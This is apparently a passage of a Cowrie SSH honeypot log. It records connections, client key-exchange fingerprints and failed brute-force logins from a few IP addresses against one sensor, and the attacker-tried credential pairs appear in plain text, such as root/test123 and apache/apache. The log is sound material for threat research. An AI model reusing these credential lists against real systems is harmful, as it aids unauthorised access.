{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:41.260177Z","src_ip":"5.196.136.131","session":"9758be5205d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:41.493694Z","src_ip":"5.196.136.131","session":"9758be5205d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:42.575392Z","src_ip":"5.196.136.131","session":"9758be5205d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":55341,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a16e404d4b2","protocol":"ssh","message":"New connection: 5.196.136.131:55341 (10.17.0.5:22) [session: 3a16e404d4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:45.604919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:45.611041Z","src_ip":"5.196.136.131","session":"3a16e404d4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:45.687279Z","src_ip":"5.196.136.131","session":"3a16e404d4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:45.916939Z","src_ip":"5.196.136.131","session":"3a16e404d4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:46.994640Z","src_ip":"5.196.136.131","session":"3a16e404d4b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.115.7.203","src_port":4206,"dst_ip":"10.17.0.5","dst_port":22,"session":"b19b02585b47","protocol":"ssh","message":"New connection: 181.115.7.203:4206 (10.17.0.5:22) [session: b19b02585b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:48.861574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:48.865217Z","src_ip":"181.115.7.203","session":"b19b02585b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:48.937425Z","src_ip":"181.115.7.203","session":"b19b02585b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023@1","message":"login attempt [root/unitedstates2023@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:49.133963Z","src_ip":"181.115.7.203","session":"b19b02585b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60299,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a55f8826f6","protocol":"ssh","message":"New connection: 5.196.136.131:60299 (10.17.0.5:22) [session: 24a55f8826f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:50.067921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:50.073903Z","src_ip":"5.196.136.131","session":"24a55f8826f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:50.149429Z","src_ip":"5.196.136.131","session":"24a55f8826f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:50.200612Z","src_ip":"181.115.7.203","session":"b19b02585b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:50.377574Z","src_ip":"5.196.136.131","session":"24a55f8826f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:51.456652Z","src_ip":"5.196.136.131","session":"24a55f8826f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":21447,"dst_ip":"10.17.0.5","dst_port":22,"session":"907c2ea660f0","protocol":"ssh","message":"New connection: 5.196.136.131:21447 (10.17.0.5:22) [session: 907c2ea660f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:54.475879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:54.479866Z","src_ip":"5.196.136.131","session":"907c2ea660f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:54.555538Z","src_ip":"5.196.136.131","session":"907c2ea660f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:54.781740Z","src_ip":"5.196.136.131","session":"907c2ea660f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:55.863176Z","src_ip":"5.196.136.131","session":"907c2ea660f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56897,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c024dd4b40d","protocol":"ssh","message":"New connection: 5.196.136.131:56897 (10.17.0.5:22) [session: 6c024dd4b40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:58.997638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:59.001303Z","src_ip":"5.196.136.131","session":"6c024dd4b40d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:59.077849Z","src_ip":"5.196.136.131","session":"6c024dd4b40d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:31:59.307753Z","src_ip":"5.196.136.131","session":"6c024dd4b40d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:00.386796Z","src_ip":"5.196.136.131","session":"6c024dd4b40d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":36672,"dst_ip":"10.17.0.5","dst_port":22,"session":"149ce07ed40b","protocol":"ssh","message":"New connection: 5.196.136.131:36672 (10.17.0.5:22) [session: 149ce07ed40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:03.475134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:03.478227Z","src_ip":"5.196.136.131","session":"149ce07ed40b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:03.555667Z","src_ip":"5.196.136.131","session":"149ce07ed40b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:03.868067Z","src_ip":"5.196.136.131","session":"149ce07ed40b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":57312,"dst_ip":"10.17.0.5","dst_port":22,"session":"f10f6a778624","protocol":"ssh","message":"New connection: 87.251.79.125:57312 (10.17.0.5:22) [session: f10f6a778624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:04.445046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:04.449217Z","src_ip":"87.251.79.125","session":"f10f6a778624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:04.518903Z","src_ip":"87.251.79.125","session":"f10f6a778624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton1985","message":"login attempt [root/anton1985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:04.730632Z","src_ip":"87.251.79.125","session":"f10f6a778624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:04.948467Z","src_ip":"5.196.136.131","session":"149ce07ed40b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:05.803429Z","src_ip":"87.251.79.125","session":"f10f6a778624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":42323,"dst_ip":"10.17.0.5","dst_port":22,"session":"14da725cf645","protocol":"ssh","message":"New connection: 5.196.136.131:42323 (10.17.0.5:22) [session: 14da725cf645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:07.931784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:32:07.935035Z","src_ip":"5.196.136.131","session":"14da725cf645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 